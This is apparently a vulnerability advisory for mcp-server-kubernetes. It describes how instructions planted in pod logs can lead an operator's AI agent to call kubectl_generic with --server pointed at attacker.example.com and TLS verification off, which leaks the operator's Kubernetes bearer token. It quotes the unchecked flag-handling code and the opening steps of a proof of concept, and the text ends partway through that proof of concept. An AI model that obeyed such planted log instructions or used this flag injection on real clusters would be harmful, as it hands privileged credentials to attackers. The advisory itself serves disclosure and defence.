MCP Server Kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

Summary

The kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account.

The token exfiltration mechanism was confirmed end-to-end with no cluster required. The full attack chain including indirect prompt injection via real pod logs was additionally confirmed using a live kind cluster and Claude Haiku (Anthropic API) as the agent.

Details

Vulnerable code

src/tools/kubectl-generic.ts, lines 103–118:

if (input.flags) {
  for (const [key, value] of Object.entries(input.flags)) {
    if (value === true) {
      cmdArgs.push(`--${key}`);
    } else if (value !== false && value !== null && value !== undefined) {
      cmdArgs.push(`--${key}=${value}`);   // ← no allowlist; any kubectl flag accepted
    }
  }
}

if (input.args && input.args.length > 0) {
  cmdArgs.push(...input.args);             // ← also unconstrained
}

Both the flags object and the args array are passed verbatim to execFileSync("kubectl", cmdArgs).

Why two flags are needed

kubectl deliberately suppresses Authorization: Bearer headers over plain HTTP connections (a safety feature against cleartext leakage). The attack therefore requires two flags together:

Both are standard kubectl debugging flags used when connecting to clusters with self-signed certificates, making the injection payload look plausible.

PoC

Step 1 - Static verification

# Confirm the flag loop has no allowlist:
grep -A 8 "for.*Object.entries.*flags" src/tools/kubectl-generic.ts

Expected output shows cmdArgs.push(--${key}=${value}) with no allowlist check.

Step 2 - kubectl behaviour test (confirms HTTPS required)

# Start a minimal HTTPS listener with a self-signed cert:
openssl req -x509 -newkey rsa:2048 -nodes -keyout /tmp/k.pem -out /tmp/c.pem \
  -subj "/CN=test" -days 1 2>/dev/null

python3 -